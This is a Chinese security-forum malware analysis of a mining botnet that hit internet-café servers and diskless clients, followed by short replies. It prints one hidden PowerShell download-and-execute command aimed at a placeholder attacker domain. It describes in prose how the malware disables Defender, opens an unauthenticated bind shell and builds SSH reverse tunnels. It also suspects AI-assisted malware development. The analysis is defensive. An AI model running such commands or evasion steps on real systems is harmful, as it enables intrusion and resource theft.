吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 943|回复: 6
上一主题 下一主题
收起左侧

[PC样本分析] 定制化、自动化、AI 化:一起针对网吧的挖矿僵尸网络攻击

[复制链接]
跳转到指定楼层
楼主
sxaq 发表于 2026-9-11 14:19 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
摘要

本报告记录了一次针对网吧服务器及客户机的复杂入侵事件。

攻击者通过初始命令下载并执行 C# 释放器,部署了基于 SSH 反向隧道的后门体系(“wangba”),随后进一步植入“PRL 云控”挖矿客户端,并利用无盘镜像注入实现大规模持久化。

攻击者展现出高度定制化、自动化和持续演进的特征:早期使用独立 PowerShell 脚本,后期演变为 C# 一体化后门服务;远程控制工具从 TightVNC 更换为 RustDesk;无盘镜像篡改从手动添加启动项发展为自动化的镜像展开、注入、写回流水线。不同受害环境中发现同类下载器在 C2 地址、端口、客户端标识等存在差异,表明攻击者具备快速生成定制版本的能力。部分样本中出现“claude”路径及规范代码风格,暗示可能使用 AI 辅助开发。

入侵行为分析

服务器后门建立

在接到客户反馈服务器被入侵之后,安全团队第一时间对服务器进行详细的排查,在命令记录中发现攻击者执行过的一条命令

powershell -NoP -EP Bypass -WindowStyle Hidden -Command "curl.exe -k -L https://[攻击者域名]/c14nw.exe -o C:\Windows\Temp\c14nw.exe; if ((Get-Item C:\Windows\Temp\c14nw.exe).Length -eq 1449984) { Start-Process C:\Windows\Temp\c14nw.exe }"

该命令从攻击者服务器中下载一个可执行文件并启动该文件。该文件由 C# 编写,是一个非常简单的释放器。



下面是该C#程序的反编译代码,这段代码是攻击者使用的一个 C# 编写的释放器,是整条恶意行为链的入口组件。它的主要功能是从自身资源中提取出一个压缩包,解压后调用 PowerShell 执行安装脚本,从而部署后续的后门组件。

代码从自身程序集的嵌入资源中提取 payload.zip,解压到临时目录 %TEMP%\media-extract-client14,最终安装目录为 C:\ProgramData\wb-media\client14。



该压缩包作为资源嵌入到可执行文件中:



该程序解压该压缩包,释放多个Powershell文件(install.ps1,launch.ps1 等)。随后该程序启动 PowerShell,以隐藏窗口、绕过执行策略方式运行 install.ps1。





install.ps1

install.ps1 接受三个参数:
-Staging(暂存目录)-Final(最终安装目录)-ExePath(源释放器路径)


在上文的C#释放器代码分析中也有体现。

脚本首先在最终安装目录创建目录,随后将暂存目录中的所有文件复制到该目录。复制过程中排除 install.ps1 自身,待其他文件复制完成后,再单独复制自身到最终目录。完成复制后,脚本将最终目录设置为“隐藏 + 系统”属性,使其在常规文件浏览中不可见。



脚本使用 PowerShell 计划任务 cmdlet 创建两个计划任务,均以 SYSTEM 账户最高权限运行,并采用无窗口、绕过执行策略的方式:
任务名 WbcTunnel:触发器为系统启动时,执行动作为 powershell.exe -NoP -EP Bypass -WindowStyle Hidden -File "<最终目录>\launch.ps1",用于开机自动启动后门核心。任务名 WbcWatchdog:触发器为立即开始,重复间隔为 5 分钟,执行动作为 powershell.exe -NoP -EP Bypass -WindowStyle Hidden -File "<最终目录>\wb-watchdog.ps1",用于周期检测后门隧道状态,一旦中断则自动重启。


脚本在注册计划任务后,立即以隐藏进程方式执行 launch.ps1,该脚本会启动核心后门模块 wangba-core.ps1,后者负责解密配置、关闭安全防护、启动绑定 Shell 并建立 SSH 反向隧道。





随后脚本 install.ps1 进入验证循环,最多等待 40 秒,每 2 秒检查一次本地端口 25014 是否处于监听,日志文件 <最终目录>\wb-run.log 中出现字符串 ssh still running,表明 SSH 隧道已成功建立。若任一条件成立,则判定后门部署成功。验证成功后,脚本执行以下清理操作。



launch.ps1

launch.ps1 是启动器脚本,脚本定义了一个名为 Start-HiddenProc 的函数,确保后续启动的进程不会弹出任何控制台窗口,完全在后台运行,增强隐蔽性。

脚本枚举所有名为 ssh 的进程,并仅终止其可执行文件路径匹配 *wb-media\client14* 的进程。这一过滤条件表明攻击者只终止自身部署的便携版 ssh.exe,避免误杀系统自带的 OpenSSH 进程,减少暴露风险。终止后等待 800 毫秒,确保端口释放。



脚本使用字符串拼接方式构建 wangba-core.ps1 的启动参数,包括:



这些参数决定了后门核心如何建立隧道、监听端口以及上报。

wb-watchdog.ps1

wb-watchdog.ps1 是保活组件,该脚本由计划任务 WbcWatchdog 每 5 分钟调用一次,用于监测 SSH 反向隧道进程是否存活,一旦发现隧道中断,立即重新执行 launch.ps1 以恢复后门连接。该机制保障了攻击者远程控制通道的持续可用。





wangba-core.ps1

wangba-core.ps1 是核心组件,该脚本由 launch.ps1 调用,负责完成配置解密、关闭安全防护、启动绑定 Shell、建立 SSH 反向隧道以及上报主机信息等关键恶意行为。

脚本接受多个参数,包括混淆的域名(DDNSObf)、端口(PortObf)、用户名(UserObf)、XOR 种子(XorSeed)、密钥文件路径(KeyDatPath)等。此外,脚本对 SSH 私钥文件 wangba-key.dat 进行多层解密,最终得到明文的 OpenSSH 私钥,并写入临时目录中的随机命名文件,设置 ACL 仅允许当前用户和 SYSTEM 读取。



脚本检测当前进程是否具备管理员权限,若具备则尝试执行以下操作:
  • 关闭 Windows 防火墙(域、专用、公用配置文件);
  • 禁用 Windows Defender 的实时监控、行为监控、IOAV 保护、脚本扫描;
  • 将脚本所在目录、临时目录等加入 Defender 排除路径;
  • 停止 WinDefend、WdNisSvc、Sense 等服务;
  • 终止腾讯电脑管家、360 安全卫士等国内常见安全软件进程。




此外脚本还内置了一段 PowerShell 绑定 Shell (一种后门方式)代码,并将作为独立进程,监听本地指定端口。该 Shell 允许远程客户端连接后执行任意 PowerShell 命令,命令输出通过 __WB_END__ 标记进行分隔。绑定 Shell 无任何认证机制,任何能访问该端口的攻击者均可执行命令。





为了能随时访问受害者的机器,并绕过可能存在的防火墙,攻击者选择了隐蔽的SSH反向隧道作为后门方案。反向隧道不要求受害机器监听新端口。它只是主动向外发起一个 SSH 连接,然后复用这条连接回传数据。尤其是该连接由内网主机主动发起 SSH 出站连接。通常防火墙默认允许出站,尤其是 22、443 等端口。

攻击者首先在自己的公网服务器上开启一个SSH服务和一个低权限账户,配置SSH公钥认证。在受害者机器上释放SSH私钥、加密库、和 ssh.exe 客户端。而该脚本使用解密后的私钥和便携版 ssh.exe 建立到攻击者服务器的 SSH 连接,并通过 -R 参数创建多条反向隧道:
  • 将攻击者服务器上的指定端口映射到受害服务器的 SMB(445)端口;
  • 映射端口指向 RDP(3389)端口;
  • 将映射端口指向刚刚启动的本地绑定 Shell 端口。


隧道启动后,脚本等待 8 秒并检查 ssh.exe 进程是否退出。



部署挖矿程序

在后门部署完毕后,攻击者向服务器又传送了一组文件,包含Powershell脚本和挖矿程序的压缩包。



wbhttp.ps1 是一个轻量级的 HTTP 文件服务器脚本,使用 .NET HttpListener 类在 18082 端口上监听 HTTP 请求,并以 C:\Windows\Temp\www 作为文件根目录提供服务。该脚本同时记录所有来访请求的 IP、时间和 URL 路径,并对特定格式的信标请求(bb-、ok-、err- 开头)返回固定内容 ok。





攻击者修改了无盘启动项(既可以通过修改配置文件,如 .ini ,也可以通过远程桌面 TightVNC 远程桌面),让所有客户机在开机启动后都立马执行一条Powershell命令,这条命令是一个 Base64 编码的 PowerShell 恶意脚本。



解码后的内容如下:



客户机首先向服务器报告状态,访问 http://192.168.1.246:18082/bb-计算机名,攻击者可以通过该请求知道哪些机器已经执行了脚本。检查 C:\ProgramData\GpuService\prl-agent.identity.enc 是否存在。如果存在,说明该机器已经被感染过,脚本就会跳过后续安装。客户机从内网服务器下载 client.zip 到临时目录,并解压到 %TEMP%\prl-c\。

这个 client.zip 包含恶意 PowerShell 脚本、挖矿程序、配置文件等。最后客户机运行解压出的 install_client.ps1 安装挖矿程序。



当客户机启动之后就立即执行恶意安装脚本,该安装脚本复制矿工/组件 exe + 全部脚本 到 C:\ProgramData\GpuService\(隐藏的系统目录),写 prl-agent.cfg.json,内含 硬编码注册码和云控地址。在注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下创建 GpuService 启动项,指向隐藏目录中的 boot.vbs,实现开机无窗口自启动。同时生成 boot.vbs 启动器,先启动 agent,再启动 guard,确保挖矿程序持续运行。prl_agent.ps1 定期向云控服务器发送心跳,上报设备状态、GPU 温度/占用、挖矿日志等信息,并接收云端下发的挖矿任务、配置更新及自更新指令。根据云端下发的矿池、钱包地址和算法参数,调用伪装成 GPU 服务的矿工程序(如 System.exe、GpuSvcHost.exe)进行加密货币挖矿,占用大量 GPU/CPU 资源。start_prl_guard.ps1 每 5–10 秒检测用户活动:当用户正在使用电脑(键盘/鼠标活动)或运行大型软件(如游戏、设计软件)时自动暂停挖矿;当 GPU 温度过高或占用过高时也暂停,待空闲后恢复。该设计使挖矿行为更隐蔽,减少被发现概率。

技术演变

随着对多台被入侵服务器的深入分析,我们发现攻击者入侵服务器时并非使用固定不变的攻击工具,而是根据目标环境持续调整和升级其武器库,呈现出明显的演进特征。

从独立脚本到一体化服务

早期样本(如 MovieInstaller 释放器)结构简单,仅将嵌入的 payload 解压并调用 PowerShell 安装脚本,其后续组件均为独立脚本,功能相对单一。但在后期发现的样本中,攻击者开始采用 C# 编写专门的后门服务(如 KeyIsoMonSvc),将 SSH 反向隧道、HTTP 文件分发、绑定 Shell、心跳与金丝雀机制整合到单一服务中,显著提升了隐蔽性和稳定性。该服务伪装成 Windows 密钥隔离服务,并藏身于网维大师热修复目录,进一步增加了发现难度。





远程控制工具的更替

在早期入侵活动中,攻击者部署了 TightVNC 远程桌面程序,用于对服务器进行图形化操作。该工具曾被放置在无盘服务器上,作为攻击者日常操控的通道。



而在后续发现的样本中,攻击者开始使用 RustDesk 远程控制软件,并将其注册为名为 NlaSvcHelper 的系统服务,伪装成与 Windows 网络位置感知服务相关的组件。RustDesk 同样是一款合法的远程桌面工具,但因其开源、易定制,被攻击者选中用来替代 TightVNC,以降低管理员发现的风险。这一变化表明,攻击者不仅关注后门功能的整合,也在持续更新其远程操控工具集,倾向于使用更隐蔽、更难被归类的合法软件。



无盘镜像注入的自动化

针对无盘镜像的篡改行为也演变为完整的自动化流水线。最开始只是通过修改启动项配置文件或者手动添加修改启动项,后面又发展成篡改启动项,使用自己编写的C#启动器去启动正常程序的同时启动攻击者的恶意程序。



该恶意程序会启动启动项原正常程序来降低用户的警觉避免被发现。



现在为了更进一步隐蔽启动,攻击者编写了底层镜像操作工具。从攻击者留下的底层镜像操作工具 imgtool.cs,到负责挂载与注入的 xt61_inject.ps1,再到监控业务低峰并触发写回的 xt90_watch.ps1 和 xt91_inject.ps1,整个流程已实现无需人工干预的闭环。攻击者通过计划任务和守护脚本,使恶意注入能在低业务峰值时自动执行,并在失败时尝试回滚或重新调度。并且这种方案越来越隐蔽。





攻击者留下的imgtool源代码部分代码片段如下:



按目标定制化生成

此外,在不同受害环境中发现的同类下载器在 C2 地址、端口、客户端标识、存储路径等方面均存在定制差异,表明攻击者已具备快速生成针对特定目标版本的能力。例如,网吧A与 网吧B 虽功能相似,但内网分发地址、备用下载域名、客户端 ID 和端口映射均不同,反映出攻击者可能使用模板化生成工具或脚本,按需填充参数并编译。




推测

综合本次事件中发现的多个定制化下载器、自动化镜像注入流水线以及代码中疑似 AI 工具痕迹,我们推测攻击者已从手工攻击转向半自动化、定制化攻击,并可能引入 AI 辅助开发以提高效率和规避检测。

AI 辅助开发的间接依据

在部分恶意脚本中出现了服务器路径 G:\claude\pentest-infra\clients,其中 “claude” 可能指向 AI 辅助开发工具(如 Anthropic Claude)。同时,样本代码结构清晰、变量命名规范(如 Start-HiddenProc、SshSupervisor、CanaryLoop)且带有详细注释,这种代码质量与 AI 辅助生成的风格相符。此外,攻击者在短时间内多次修正注入脚本路径错误、增加回滚机制,快速迭代能力也可能受益于 AI 辅助调试和代码生成。



尽管尚无直接证据证明攻击者使用了特定 AI 平台,但上述迹象表明其可能利用 AI 工具生成或优化恶意代码。这种趋势值得高度警惕,建议安全团队加强针对此类自动化威胁的检测与响应能力。

IoCs

MD5: 1645b7104b73a9d76d2acd2d892117ad

SHA1: 27d2b04b198e3ab512d82ca67b8221d2c9ee4b53

SHA256: d7f23cf09d16b4646bc9500e07e4ad79eb227eb03b9b8ecbfe3663c33c6b5287

免费评分

参与人数 1吾爱币 +1 收起 理由
Good11 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
lidada0627 发表于 2026-9-11 14:48
复杂 复杂 看不明白
3#
LinBo2009 发表于 2026-9-11 17:08
4#
cdjx 发表于 2026-9-11 17:25
5#
精妹 发表于 2026-9-11 19:04
大佬厉害。很好,学习学习
6#
Scan 发表于 2026-9-11 20:06
有样本吗?想学习复现一下过程
7#
willgu520 发表于 2026-9-11 20:24
大神就是大神,小卡拉米看都看不懂
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-9-12 05:44

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表